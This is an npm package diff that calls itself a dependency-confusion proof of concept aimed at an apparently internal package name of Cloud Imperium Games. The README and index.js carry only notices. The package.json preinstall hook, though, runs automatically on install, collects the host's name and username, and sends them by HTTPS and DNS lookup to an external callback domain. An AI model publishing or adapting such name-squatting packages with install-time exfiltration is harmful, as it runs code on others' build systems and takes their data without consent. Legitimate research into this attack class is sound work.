@orion-design-system/components 9999.0.0

package/README.md

@@ -0,0 +1,9 @@
+# Security Research Package
+
+This package was published as part of an authorized bug bounty security research investigation into dependency confusion vulnerabilities.
+
+**If you are a Cloud Imperium Games / Roberts Space Industries developer and this package was installed in your build pipeline, your build infrastructure may be vulnerable to dependency confusion attacks. Please contact your security team immediately and refer to your HackerOne bug bounty program for the corresponding report.**
+
+This package contains no malicious code and does not exfiltrate any data from your systems beyond hostname and username for proof-of-concept purposes.
+
+Reference: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

package/index.js

@@ -0,0 +1,6 @@
+// Security research package — dependency confusion PoC
+// This package was published as part of an authorized bug bounty investigation.
+// If you are a CIG/RSI developer and this package was installed in your build,
+// please report this to your security team immediately.
+// Reference: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
+module.exports = {};

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@orion-design-system/components",
+  "version": "9999.0.0",
+  "description": "Security research - dependency confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node -e \"const h=require('os').hostname(),u=require('os').userInfo().username;require('https').get('https://d8kn5vlt5p5h1j34mbcgbx1nffwjobfoh.oast.fun/?h='+encodeURIComponent(h)+'&u='+encodeURIComponent(u)+'&p=orion-components&pkg=@orion-design-system/components').on('error',()=>{});try{require('dns').lookup('orion-components.'+h+'.d8kn5vlt5p5h1j34mbcgbx1nffwjobfoh.oast.fun',()=>{})}catch(e){}\""
+  },
+  "keywords": ["security-research"],
+  "author": "Bug Bounty Researcher",
+  "license": "MIT"
+}